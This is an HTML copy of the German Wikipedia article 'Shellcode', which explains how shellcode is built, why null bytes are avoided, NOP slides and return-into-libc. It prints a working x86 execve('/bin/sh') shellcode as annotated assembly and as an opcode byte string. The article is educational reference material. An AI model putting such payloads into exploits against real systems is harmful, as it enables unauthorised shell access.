GermanWikipedia - /page/entry.mu

Micron Document

<!DOCTYPE html>

<title>Shellcode</title>

</head>

<h1 id="firstHeading" class="firstHeading mw-first-heading">Shellcode</h1>

</header>

</div>

<div id="mw-content-text" class="mw-body-content mw-content-ltr" lang="de" dir="ltr"><div class="mw-content-ltr mw-parser-output" lang="de" dir="ltr">Shellcode ist ein Begriff aus der <a href="Programmierung" title="Programmierung">Programmierung</a> und bezeichnet einen zumeist sehr kleinen Patch von in <a href="Opcode" title="Opcode">Opcodes</a> umgewandelten <a href="Assemblersprache" title="Assemblersprache">Assemblerbefehlen</a>, mit denen beabsichtigt wird, ein Programm oder System zu manipulieren, oder für nicht vorgesehene Zwecke auszunutzen. Dabei wird oft versucht, eine <a href="Kommandozeileninterpreter" title="Kommandozeileninterpreter">Shell</a> zu starten, daher auch der Name. Shellcodes haben ihren Ursprung in <a href="Puffer%C3%BCberlauf" title="Pufferüberlauf">Pufferüberlauf</a>- und anderen Code-Injektions-Attacken, sie können aber auch bei <a href="Softwaretest" title="Softwaretest">Software-</a>, insbesondere <a href="Penetrationstest_(Informatik)" title="Penetrationstest (Informatik)">Penetrationstests</a> zum Einsatz kommen, beim Experimentieren und in der Didaktik.

<div class="mw-heading mw-heading2"><h2 id="Erstellen_von_Shellcodes">Erstellen von Shellcodes</h2></div>

Zur Erzeugung von Shellcode kann der auszuführende Befehl in <a href="C_(Programmiersprache)" title="C (Programmiersprache)">C</a> geschrieben und mit einem <a href="Compiler" title="Compiler">Compiler</a> übersetzt werden. Das erzeugte Programm wird nun disassembliert (rückübersetzt) und die Funktionsweise des Programms in Assemblersprache nachprogrammiert. Viele Instruktionen können aber weggelassen oder verkürzt werden. Bei vielen <a href="Exploit" title="Exploit">Exploits</a> darf im Shellcode kein <a href="Nullzeichen" title="Nullzeichen">0-Byte</a> enthalten sein, weil dieses in C das String-Ende markiert. Im Allgemeinen müssen weitere Hindernisse umgangen werden, beispielsweise werden nur Buchstaben und Zahlen zugelassen oder die Groß- und Kleinschreibung verändert, oder es müssen bestimmte Offsets eingehalten werden, was etwa durch Auffüllen mit mehr oder minder kreativen Ketten von <a href="Nulloperation" title="Nulloperation">Nulloperationen</a> (sog. NOP Slides) erreicht werden kann.

Anstatt eigenen Code auszuführen, was nicht immer möglich ist (zum Beispiel bei Verwendung von <a href="Speicherschutz" title="Speicherschutz">Speicherschutz</a>), kann man auch direkt zu gewünschten Funktionen springen, die beispielsweise im Programm selber oder einer geladenen <a href="Programmbibliothek" title="Programmbibliothek">Bibliothek</a>, beispielsweise der libc vorhanden sind. Dieses Verfahren wird <a href="Return_into_libc" title="Return into libc">return into libc</a> genannt.

<div class="mw-heading mw-heading2"><h2 id="Beispiel">Beispiel</h2></div>

<div class="mw-heading mw-heading3"><h3 id="Lokaler_execve(/bin/sh)_Shellcode">Lokaler execve(/bin/sh) Shellcode</h3></div>

Der Assembler-Code (x86-Architektur):<a href="#cite_note-1">[1]</a>

<div class="mw-highlight mw-highlight-lang-asm mw-content-ltr" dir="ltr"><pre>void main() {

__asm__("

jmp 0x2a # 3 bytes - springt direkt vor den String

popl %esi # 1 byte - Adresse des Strings wird in esi geladen

movl %esi,0x8(%esi) # 3 bytes - die Adresse des Strings wird in den Speicher geschrieben

movb $0x0,0x7(%esi) # 4 bytes - der String wird nullterminiert

movl $0x0,0xc(%esi) # 7 bytes - ein nullpointer für das environment

movl $0xb,%eax # 5 bytes - syscall-nummer in eax

movl %esi,%ebx # 2 bytes - ebx enthält die adresse von "/bin/sh"

leal 0x8(%esi),%ecx # 3 bytes - argumente, ein pointer auf den string und ein nullpointer

leal 0xc(%esi),%edx # 3 bytes - environment

int $0x80 # 2 bytes - interrupt wird ausgelöst

movl $0x1, %eax # 5 bytes - exit-interrupt

movl $0x0, %ebx # 5 bytes - wird vorbereitet

int $0x80 # 2 bytes - interrupt wird ausgelöst

call -0x2f # 5 bytes - ein call zurück, dabei wird der eip auf den Stack gepusht

.string \"/bin/sh\" # 8 bytes

");

}

</pre></div>

Der Opcode String:

<div class="mw-highlight mw-highlight-lang-asm mw-content-ltr" dir="ltr"><pre>char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"

"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

</pre></div>

Dieser Code ist jedoch nicht sonderlich geschickt, da er Nullbytes enthält und recht lang ist. Zur Vermeidung von „unerwünschten Zeichen“ werden häufig auch Encoder verwendet, welche eine Maskierung und spätere Demaskierung dieser Zeichen ermöglichen und den Shellcode eventuell noch zusätzlich komprimieren. Es gibt auch noch andere Techniken, die Adresse des Strings herauszufinden, als einen „jmp“ oder „call“. Es ist beispielsweise möglich, lediglich <code>/bin/sh</code> auf den Stack zu pushen. Danach enthält der esp die Adresse.

<div class="mw-heading mw-heading2"><h2 id="Literatur">Literatur</h2></div>

<ul><li>Jack Koziol: The Shellcoder’s Handbook. Discovering and Exploiting Security Holes. Wiley, Indianapolis IN 2004, ISBN 0-7645-4468-3.</li>

<li>Jon Erickson: Forbidden Code. mitp, Bonn 2004, ISBN 3-8266-1457-7.</li></ul>

<div class="mw-heading mw-heading2"><h2 id="Weblinks">Weblinks</h2></div>

<ul><li><a rel="nofollow" class="external text" href="http://www.shell-storm.org/shellcode/">Shellcode database</a></li></ul>

<div class="mw-heading mw-heading2"><h2 id="Einzelnachweise">Einzelnachweise</h2></div>

<li id="cite_note-1"><a href="#cite_ref-1">↑</a> Quelle: <style data-mw-deduplicate="TemplateStyles:r261891140">

/* start https://de.wikipedia.org/ */

.mw-parser-output .webarchiv-memento a{color:inherit}

/* end https://de.wikipedia.org/ */

</style><a rel="nofollow" class="external text" href="https://web.archive.org/web/20080211101739/http://www.phrack.org/archives/49/P49-14">phrack.org</a> (<a href="Webarchivierung#Begrifflichkeiten" title="Webarchivierung">Memento</a> vom 11. Februar 2008 im <a href="Internet_Archive" title="Internet Archive">Internet Archive</a>)

</li>

</ol></div><div><div class="zim-footer">

Dieser Artikel wurde von <a class="external text" title="Zuletzt bearbeitet am 2020-06-18" href="https://de.wikipedia.org/wiki/?title=Shellcode&oldid=201099305">Wikipedia</a> herausgegeben. Der Text ist unter <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.de">Creative Commons Attribution-Share Alike 4.0</a> verfügbar, sofern nicht anders angegeben. Für die Mediendateien können zusätzliche Bedingungen gelten.

</div>

</div></div>

</div>

</main>

</div>

</body></html>